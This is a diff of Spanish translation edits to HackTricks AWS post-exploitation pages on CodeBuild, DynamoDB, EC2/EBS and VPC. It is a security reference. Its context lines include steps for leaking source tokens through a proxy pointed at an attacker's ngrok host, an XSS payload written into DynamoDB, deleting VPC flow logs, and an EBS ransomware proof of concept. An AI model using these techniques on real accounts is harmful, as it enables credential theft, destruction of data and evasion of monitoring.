 Un atacante podría agregar, modificar o eliminar etiquetas de los recursos de CodeBuild, interrumpiendo la asignación de costos de su organización, el seguimiento de recursos y las políticas de control de acceso basadas en etiquetas.
 ```bash

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md

@@ -8,9 +8,9 @@ Primero, verifica si hay credenciales de origen configuradas que podrías filtra
 ```bash
 aws codebuild list-source-credentials
 ```
-### Via Docker Image
+### A través de la imagen de Docker
 
-Si encuentras que la autenticación, por ejemplo, a Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto.
+Si encuentras que la autenticación, por ejemplo, en Github está configurada en la cuenta, puedes **exfiltrar** ese **acceso** (**token de GH o token de OAuth**) haciendo que Codebuild **utilice una imagen de docker específica** para ejecutar la construcción del proyecto.
 
 Para este propósito, podrías **crear un nuevo proyecto de Codebuild** o cambiar el **entorno** de uno existente para establecer la **imagen de Docker**.
 
@@ -38,11 +38,11 @@ mitmproxy --listen-port 4444  --allow-hosts "github.com"
 
 4. **Ejecutar la construcción y capturar las credenciales**
 
-- Puedes ver el token en el encabezado de **Authorization**:
+- Puedes ver el token en el encabezado **Authorization**:
 
 <figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
 
-Esto también se podría hacer desde la aws cli con algo como
+Esto también se podría hacer desde aws cli con algo como
 ```bash
 # Create project using a Github connection
 aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
@@ -73,10 +73,10 @@ aws codebuild start-build --project-name my-project2
 ```
 ### Via insecureSSL
 
-**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
+**Codebuild** projects tienen una configuración llamada **`insecureSsl`** que está oculta en la web y solo se puede cambiar desde la API.\
 Habilitar esto permite a Codebuild conectarse al repositorio **sin verificar el certificado** ofrecido por la plataforma.
 
-- First you need to enumerate the current configuration with something like:
+- Primero necesitas enumerar la configuración actual con algo como:
 ```bash
 aws codebuild batch-get-projects --name <proj-name>
 ```
@@ -128,15 +128,15 @@ certificate_authority = crypto.CertificateAuthority()
 )
 mitm.run()
 ```
-- Finalmente, haz clic en **Construir el proyecto**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
+- Finalmente, haz clic en **Build the project**, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
 
 <figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 ### ~~A través del protocolo HTTP~~
 
-> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante no puede abusar de ella más :)**
+> [!TIP] > **Esta vulnerabilidad fue corregida por AWS en algún momento de la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)**
 
-Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token OAuth temporal utilizado para acceder al código**.
+Un atacante con **permisos elevados en un CodeBuild podría filtrar el token de Github/Bitbucket** configurado o si los permisos se configuraron a través de OAuth, el **token temporal de OAuth utilizado para acceder al código**.
 
 - Un atacante podría agregar las variables de entorno **http_proxy** y **https_proxy** al proyecto de CodeBuild apuntando a su máquina (por ejemplo `http://5.tcp.eu.ngrok.io:14972`).
 
@@ -162,7 +162,7 @@ mitm.run()
 ```sh
 aws codebuild start-build --project-name <proj-name>
 ```
-- Finalmente, las **credenciales** serán **enviadas en texto claro** (base64) al puerto mitm:
+- Finalmente, las **credenciales** se enviarán en **texto claro** (base64) al puerto mitm:
 
 <figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md

@@ -8,15 +8,15 @@
 
 Un ataque de ransomware puede ejecutarse encriptando la mayor cantidad posible de volúmenes EBS y luego borrando las instancias EC2 actuales, volúmenes EBS y instantáneas. Para automatizar esta actividad maliciosa, se puede emplear Amazon DLM, encriptando las instantáneas con una clave KMS de otra cuenta de AWS y transfiriendo las instantáneas encriptadas a una cuenta diferente. Alternativamente, podrían transferir instantáneas sin encriptar a una cuenta que gestionan y luego encriptarlas allí. Aunque no es sencillo encriptar volúmenes EBS o instantáneas existentes directamente, es posible hacerlo creando un nuevo volumen o instantánea.
 
-Primero, se utilizará un comando para recopilar información sobre los volúmenes, como el ID de la instancia, el ID del volumen, el estado de encriptación, el estado de adjunto y el tipo de volumen.
+Primero, se utilizará un comando para recopilar información sobre los volúmenes, como ID de instancia, ID de volumen, estado de encriptación, estado de adjunto y tipo de volumen.
 
 `aws ec2 describe-volumes`
 
-En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles específicos de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima.
+En segundo lugar, se creará la política de ciclo de vida. Este comando emplea la API de DLM para configurar una política de ciclo de vida que toma automáticamente instantáneas diarias de volúmenes especificados a una hora designada. También aplica etiquetas específicas a las instantáneas y copia etiquetas de los volúmenes a las instantáneas. El archivo policyDetails.json incluye los detalles de la política de ciclo de vida, como etiquetas objetivo, programación, el ARN de la clave KMS opcional para encriptación y la cuenta objetivo para el intercambio de instantáneas, que se registrará en los registros de CloudTrail de la víctima.
 ```bash
 aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json
 ```
-Un template para el documento de política se puede ver aquí:
+Se puede ver una plantilla para el documento de política aquí:
 ```bash
 {
 "PolicyType": "EBS_SNAPSHOT_MANAGEMENT",

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md

@@ -12,7 +12,7 @@ Para más información, consulta:
 
 ### `dynamodb:BatchGetItem`
 
-Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto consultando los metadatos de la tabla (`describe-table`).
+Un atacante con estos permisos podrá **obtener elementos de las tablas por la clave primaria** (no puedes simplemente pedir todos los datos de la tabla). Esto significa que necesitas conocer las claves primarias (puedes obtener esto al obtener los metadatos de la tabla (`describe-table`).
 
 {{#tabs }}
 {{#tab name="json file" }}
@@ -124,7 +124,7 @@ Puedes usar este permiso para **volcar toda la tabla fácilmente**.
 aws dynamodb execute-statement \
 --statement "SELECT * FROM ProductCatalog"
 ```
-Esta permiso también permite realizar `batch-execute-statement` como:
+Este permiso también permite realizar `batch-execute-statement` como:
 ```bash
 aws dynamodb batch-execute-statement \
 --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]'
@@ -144,7 +144,7 @@ aws dynamodb export-table-to-point-in-time \
 --export-time <point_in_time> \
 --region <region>
 ```
-Nota que para que esto funcione, la tabla debe tener la recuperación en el tiempo habilitada, puedes verificar si la tabla la tiene con:
+Tenga en cuenta que para que esto funcione, la tabla debe tener habilitada la recuperación en el tiempo, puede verificar si la tabla la tiene con:
 ```bash
 aws dynamodb describe-continuous-backups \
 --table-name <tablename>
@@ -159,7 +159,7 @@ aws dynamodb update-continuous-backups \
 
 ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)`
 
-Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **ya no podría estar en la tabla de producción**.
+Con estos permisos, un atacante podría **crear una nueva tabla a partir de un respaldo** (o incluso crear un respaldo para luego restaurarlo en una tabla diferente). Luego, con los permisos necesarios, podría verificar **información** de los respaldos que **podría no estar más en la tabla de producción**.
 ```bash
 aws dynamodb restore-table-from-backup \
 --backup-arn <source-backup-arn> \
@@ -209,7 +209,7 @@ aws dynamodb put-item \
 Este permiso permite a los usuarios **modificar los atributos existentes de un ítem o agregar nuevos atributos a un ítem**. No **reemplaza** el ítem completo; solo actualiza los atributos especificados. Si la clave primaria no existe en la tabla, la operación **creará un nuevo ítem** con la clave primaria especificada y establecerá los atributos especificados en la expresión de actualización.
 
 {{#tabs }}
-{{#tab name="Ejemplo de XSS" }}
+{{#tab name="XSS Example" }}
 ```bash
 ## Update item with XSS payload
 aws dynamodb update-item --table <table_name> \
@@ -242,7 +242,7 @@ aws dynamodb update-item \
 {{#endtab }}
 {{#endtabs }}
 
-**Impacto Potencial:** Explotación de vulnerabilidades/evitaciones adicionales al poder agregar/modificar datos en una tabla de DynamoDB
+**Impacto Potencial:** Explotación de más vulnerabilidades/evitaciones al poder agregar/modificar datos en una tabla de DynamoDB
 
 ### `dynamodb:DeleteTable`
 
@@ -269,7 +269,7 @@ aws dynamodb delete-backup \
 > [!NOTE]
 > TODO: Probar si esto realmente funciona
 
-Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear cambios en la tabla en tiempo real**. Esto permite al atacante monitorear y exfiltrar cambios de datos, lo que potencialmente lleva a una fuga de datos.
+Un atacante con estos permisos puede **habilitar un stream en una tabla de DynamoDB, actualizar la tabla para comenzar a transmitir cambios y luego acceder al stream para monitorear cambios en la tabla en tiempo real**. Esto permite al atacante monitorear y exfiltrar cambios de datos, lo que potencialmente puede llevar a una fuga de datos.
 
 1. Habilitar un stream en una tabla de DynamoDB:
 ```bash
@@ -298,6 +298,6 @@ bashCopy codeaws dynamodbstreams get-records \
 --shard-iterator <shard_iterator> \
 --region <region>
 ```
-**Impacto potencial**: Monitoreo en tiempo real y filtración de datos de los cambios en la tabla DynamoDB.
+**Impacto potencial**: Monitoreo en tiempo real y filtración de datos de los cambios en la tabla de DynamoDB.
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md

@@ -1,10 +1,10 @@
-# AWS - EC2, EBS, SSM & VPC Post Explotación
+# AWS - EC2, EBS, SSM y VPC Post Explotación
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## EC2 & VPC
+## EC2 y VPC
 
-Para más información consulta:
+Para más información, consulta:
 
 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -15,7 +15,7 @@ Para más información consulta:
 El espejeo de tráfico VPC **duplica el tráfico entrante y saliente de las instancias EC2 dentro de una VPC** sin necesidad de instalar nada en las propias instancias. Este tráfico duplicado comúnmente se enviaría a algo como un sistema de detección de intrusiones en la red (IDS) para análisis y monitoreo.\
 Un atacante podría abusar de esto para capturar todo el tráfico y obtener información sensible de él:
 
-Para más información consulta esta página:
+Para más información, consulta esta página:
 
 {{#ref}}
 aws-malicious-vpc-mirror.md
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
 
 ### Copiar Instancia en Ejecución
 
-Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalación de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
+Las instancias suelen contener algún tipo de información sensible. Hay diferentes formas de acceder (consulta [trucos de escalada de privilegios de EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). Sin embargo, otra forma de verificar qué contiene es **crear una AMI y ejecutar una nueva instancia (incluso en tu propia cuenta) a partir de ella**:
 ```shell
 # List instances
 aws ec2 describe-images
@@ -58,7 +58,7 @@ aws-ebs-snapshot-dump.md
 
 ### Exfiltración de Datos
 
-#### Exfiltración DNS
+#### Exfiltración por DNS
 
 Incluso si aseguras un EC2 para que no pueda salir tráfico, aún puede **exfiltrarse a través de DNS**.
 
@@ -74,18 +74,18 @@ Un atacante podría llamar a los puntos finales de la API de una cuenta controla
 
 ### Grupo de Seguridad Abierto
 
-Podrías obtener acceso adicional a servicios de red abriendo puertos así:
+Podrías obtener acceso adicional a los servicios de red abriendo puertos así:
 ```bash
 aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
 ```
-### Privesc to ECS
+### Privesc a ECS
 
 Es posible ejecutar una instancia de EC2 y registrarla para ser utilizada para ejecutar instancias de ECS y luego robar los datos de las instancias de ECS.
 
 Para [**más información consulta esto**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs).
 
-### Remove VPC flow logs
+### Eliminar registros de flujo de VPC
 ```bash
 aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
 ```
@@ -95,7 +95,7 @@ Permisos requeridos:
 
 - `ssm:StartSession`
 
-Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que puede ser abusado para pivotar desde instancias EC2 que no tienen acceso a la red debido a Grupos de Seguridad o NACLs. Uno de los escenarios donde esto es útil es pivotar desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster EKS privado.
+Además de la ejecución de comandos, SSM permite el túnel de tráfico, lo que puede ser abusado para pivotar desde instancias de EC2 que no tienen acceso a la red debido a Grupos de Seguridad o NACLs. Uno de los escenarios donde esto es útil es pivotar desde un [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) a un clúster privado de EKS.
 
 > Para iniciar una sesión, necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
 
@@ -115,11 +115,11 @@ aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --
 ```shell
 sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
 ```
-8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el EC2 Bastion y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando:
+8. El tráfico de la herramienta `kubectl` ahora se reenvía a través del túnel SSM mediante el Bastion EC2 y puedes acceder al clúster EKS privado desde tu propia máquina ejecutando:
 ```shell
 kubectl get pods --insecure-skip-tls-verify
 ```
-Note que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM.
+Tenga en cuenta que las conexiones SSL fallarán a menos que establezca la bandera `--insecure-skip-tls-verify` (o su equivalente en las herramientas de auditoría de K8s). Dado que el tráfico se canaliza a través del túnel seguro de AWS SSM, está a salvo de cualquier tipo de ataques MitM.
 
 Finalmente, esta técnica no es específica para atacar clústeres EKS privados. Puede establecer dominios y puertos arbitrarios para pivotar a cualquier otro servicio de AWS o a una aplicación personalizada.
 
@@ -129,7 +129,7 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
 ```
 ### Buscar información sensible en AMIs públicas y privadas
 
-- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Imágenes de Máquina de Amazon (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.
+- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel es una herramienta diseñada para **buscar información sensible dentro de Amazon Machine Images (AMIs) públicas o privadas**. Automatiza el proceso de lanzar instancias desde AMIs objetivo, montar sus volúmenes y escanear en busca de posibles secretos o datos sensibles.
 
 ### Compartir instantánea de EBS
 ```bash
@@ -137,9 +137,9 @@ aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-pe
 ```
 ### EBS Ransomware PoC
 
-Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería ser renombrado a RMS por Ransomware Management Service con lo fácil que es usarlo para cifrar varios servicios de AWS.
+Una prueba de concepto similar a la demostración de Ransomware presentada en las notas de post-explotación de S3. KMS debería renombrarse a RMS por Ransomware Management Service debido a lo fácil que es usarlo para cifrar varios servicios de AWS.
 
-Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo dejaremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption'
+Primero, desde una cuenta de AWS del 'atacante', crea una clave administrada por el cliente en KMS. Para este ejemplo, solo haremos que AWS administre los datos de la clave por mí, pero en un escenario realista, un actor malicioso retendría los datos de la clave fuera del control de AWS. Cambia la política de la clave para permitir que cualquier Principal de cuenta de AWS use la clave. Para esta política de clave, el nombre de la cuenta era 'AttackSim' y la regla de política que permite todo el acceso se llama 'Outside Encryption'
 ```
 {
 "Version": "2012-10-17",
@@ -239,21 +239,21 @@ La regla de la política de clave necesita que se habiliten lo siguiente para pe
 - `kms:GenerateDataKeyWithoutPlainText`
 - `kms:ReEncrypt`
 
-Ahora con la clave accesible públicamente para usar. Podemos usar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS sin cifrar adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio.
+Ahora con la clave accesible públicamente para usar. Podemos utilizar una cuenta de 'víctima' que tenga algunas instancias EC2 activas con volúmenes EBS no cifrados adjuntos. Los volúmenes EBS de esta cuenta de 'víctima' son nuestro objetivo para el cifrado, este ataque se realiza bajo la suposición de una violación de una cuenta de AWS de alto privilegio.
 
 ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459)
 
-Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta de 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
+Similar al ejemplo de ransomware de S3. Este ataque creará copias de los volúmenes EBS adjuntos utilizando instantáneas, usará la clave disponible públicamente de la cuenta del 'atacante' para cifrar los nuevos volúmenes EBS, luego separará los volúmenes EBS originales de las instancias EC2 y los eliminará, y finalmente eliminará las instantáneas utilizadas para crear los nuevos volúmenes EBS cifrados. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e)
 
 Esto resulta en que solo queden volúmenes EBS cifrados disponibles en la cuenta.
 
 ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220)
 
-También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales sin cifrar ya no están.
+También vale la pena mencionar que el script detuvo las instancias EC2 para separar y eliminar los volúmenes EBS originales. Los volúmenes originales no cifrados ya no están.
 
 ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e)
 
-A continuación, regrese a la política de clave en la cuenta de 'atacante' y elimine la regla de política 'Cifrado Externo' de la política de clave.
+A continuación, regrese a la política de clave en la cuenta del 'atacante' y elimine la regla de política 'Outside Encryption' de la política de clave.
 ```json
 {
 "Version": "2012-10-17",
@@ -324,7 +324,7 @@ A continuación, regrese a la política de clave en la cuenta de 'atacante' y el
 ]
 }
 ```
-Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'la víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen.
+Espera un momento para que la nueva política de claves se propague. Luego regresa a la cuenta de 'víctima' e intenta adjuntar uno de los volúmenes EBS recién cifrados. Descubrirás que puedes adjuntar el volumen.
 
 ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4)
 
@@ -332,7 +332,7 @@ Pero cuando intentes reiniciar la instancia EC2 con el volumen EBS cifrado, simp
 
 ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0)
 
-Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'la víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, desacoplará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'la víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día.
+Este es el script de python utilizado. Toma credenciales de AWS para una cuenta de 'víctima' y un valor ARN de AWS disponible públicamente para la clave que se utilizará para el cifrado. El script hará copias cifradas de TODOS los volúmenes EBS disponibles adjuntos a TODAS las instancias EC2 en la cuenta de AWS objetivo, luego detendrá cada instancia EC2, separará los volúmenes EBS originales, los eliminará y finalmente eliminará todos los snapshots utilizados durante el proceso. Esto dejará solo volúmenes EBS cifrados en la cuenta de 'víctima' objetivo. SOLO UTILIZA ESTE SCRIPT EN UN ENTORNO DE PRUEBA, ES DESTRUCTIVO Y ELIMINARÁ TODOS LOS VOLUMENES EBS ORIGINALES. Puedes recuperarlos usando la clave KMS utilizada y restaurarlos a su estado original a través de snapshots, pero solo quiero hacerte consciente de que esto es una prueba de concepto de ransomware al final del día.
 ```
 import boto3
 import argparse

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md

@@ -32,7 +32,7 @@ make docker/build
 IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded
 ```
 > [!CAUTION]
-> **Nota** que `dsnap` no te permitirá descargar instantáneas públicas. Para eludir esto, puedes hacer una copia de la instantánea en tu cuenta personal y descargar esa:
+> **Nota** que `dsnap` no te permitirá descargar instantáneas públicas. Para eludir esto, puedes hacer una copia de la instantánea en tu cuenta personal y descargar eso:
 ```bash
 # Copy the snapshot
 aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"
@@ -54,7 +54,7 @@ Puedes hacer esto con Pacu usando el módulo [ebs\_\_download_snapshots](https:/
 ```bash
 aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89
 ```
-**Montarlo en una VM de EC2 bajo tu control** (tiene que estar en la misma región que la copia de la copia de seguridad):
+**Móntalo en una VM de EC2 bajo tu control** (debe estar en la misma región que la copia de la copia de seguridad):
 
 Paso 1: Se debe crear un nuevo volumen de tu tamaño y tipo preferido dirigiéndote a EC2 –> Volúmenes.
 
@@ -77,7 +77,7 @@ Paso 5: Verifica si el volumen tiene datos usando el comando `sudo file -s /dev/
 
 Si la salida del comando anterior muestra "/dev/xvdf: data", significa que el volumen está vacío.
 
-Paso 6: Formatea el volumen al sistema de archivos ext4 usando el comando `sudo mkfs -t ext4 /dev/xvdf`. Alternativamente, también puedes usar el formato xfs usando el comando `sudo mkfs -t xfs /dev/xvdf`. Ten en cuenta que debes usar ya sea ext4 o xfs.
+Paso 6: Formatea el volumen al sistema de archivos ext4 usando el comando `sudo mkfs -t ext4 /dev/xvdf`. Alternativamente, también puedes usar el formato xfs usando el comando `sudo mkfs -t xfs /dev/xvdf`. Ten en cuenta que debes usar ext4 o xfs.
 
 Paso 7: Crea un directorio de tu elección para montar el nuevo volumen ext4. Por ejemplo, puedes usar el nombre "newvolume".
 
@@ -122,7 +122,7 @@ ls /mnt
 ```
 ## Shadow Copy
 
-Cualquier usuario de AWS que posea el **`EC2:CreateSnapshot`** permiso puede robar los hashes de todos los usuarios del dominio creando un **snapshot del Controlador de Dominio**, montándolo en una instancia que controlan y **exportando el NTDS.dit y el archivo del registro SYSTEM** para su uso con el proyecto secretsdump de Impacket.
+Cualquier usuario de AWS que posea el permiso **`EC2:CreateSnapshot`** puede robar los hashes de todos los usuarios del dominio creando un **snapshot del Controlador de Dominio**, montándolo en una instancia que controlan y **exportando el archivo NTDS.dit y el registro SYSTEM** para su uso con el proyecto secretsdump de Impacket.
 
 Puedes usar esta herramienta para automatizar el ataque: [https://github.com/Static-Flow/CloudCopy](https://github.com/Static-Flow/CloudCopy) o podrías usar una de las técnicas anteriores después de crear un snapshot.
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-malicious-vpc-mirror.md

@@ -1,14 +1,14 @@
-# AWS - Malicious VPC Mirror
+# AWS - Espejo VPC Malicioso
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-**Check** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **for further details of the attack!**
+**Consulta** [**https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws**](https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws) **para más detalles del ataque!**
 
 La inspección pasiva de redes en un entorno de nube ha sido **desafiante**, requiriendo cambios de configuración importantes para monitorear el tráfico de red. Sin embargo, se ha introducido una nueva característica llamada “**VPC Traffic Mirroring**” por AWS para simplificar este proceso. Con VPC Traffic Mirroring, el tráfico de red dentro de las VPC puede ser **duplicado** sin instalar ningún software en las instancias mismas. Este tráfico duplicado puede ser enviado a un sistema de detección de intrusiones en la red (IDS) para **análisis**.
 
-Para abordar la necesidad de **despliegue automatizado** de la infraestructura necesaria para la duplicación y exfiltración del tráfico de VPC, hemos desarrollado un script de prueba de concepto llamado “**malmirror**”. Este script puede ser utilizado con **credenciales de AWS comprometidas** para configurar la duplicación para todas las instancias EC2 soportadas en una VPC objetivo. Es importante notar que VPC Traffic Mirroring solo es soportado por instancias EC2 alimentadas por el sistema AWS Nitro, y el objetivo del espejo VPC debe estar dentro de la misma VPC que los hosts duplicados.
+Para abordar la necesidad de **despliegue automatizado** de la infraestructura necesaria para duplicar y exfiltrar el tráfico de VPC, hemos desarrollado un script de prueba de concepto llamado “**malmirror**”. Este script puede ser utilizado con **credenciales de AWS comprometidas** para configurar la duplicación para todas las instancias EC2 soportadas en una VPC objetivo. Es importante notar que VPC Traffic Mirroring solo es soportado por instancias EC2 alimentadas por el sistema AWS Nitro, y el objetivo del espejo VPC debe estar dentro de la misma VPC que los hosts duplicados.
 
-El **impacto** de la duplicación maliciosa del tráfico de VPC puede ser significativo, ya que permite a los atacantes acceder a **información sensible** transmitida dentro de las VPC. La **probabilidad** de tal duplicación maliciosa es alta, considerando la presencia de **tráfico en texto claro** fluyendo a través de las VPC. Muchas empresas utilizan protocolos en texto claro dentro de sus redes internas por **razones de rendimiento**, asumiendo que los ataques tradicionales de hombre en el medio no son posibles.
+El **impacto** de la duplicación maliciosa del tráfico VPC puede ser significativo, ya que permite a los atacantes acceder a **información sensible** transmitida dentro de las VPC. La **probabilidad** de tal duplicación maliciosa es alta, considerando la presencia de **tráfico en texto claro** fluyendo a través de las VPC. Muchas empresas utilizan protocolos en texto claro dentro de sus redes internas por **razones de rendimiento**, asumiendo que los ataques tradicionales de hombre en el medio no son posibles.
 
 Para más información y acceso al [**script malmirror**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), se puede encontrar en nuestro **repositorio de GitHub**. El script automatiza y agiliza el proceso, haciéndolo **rápido, simple y repetible** para fines de investigación ofensiva.
 

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md

@@ -12,8 +12,8 @@ Para más información, consulta:
 
 ### Roles IAM de Host
 
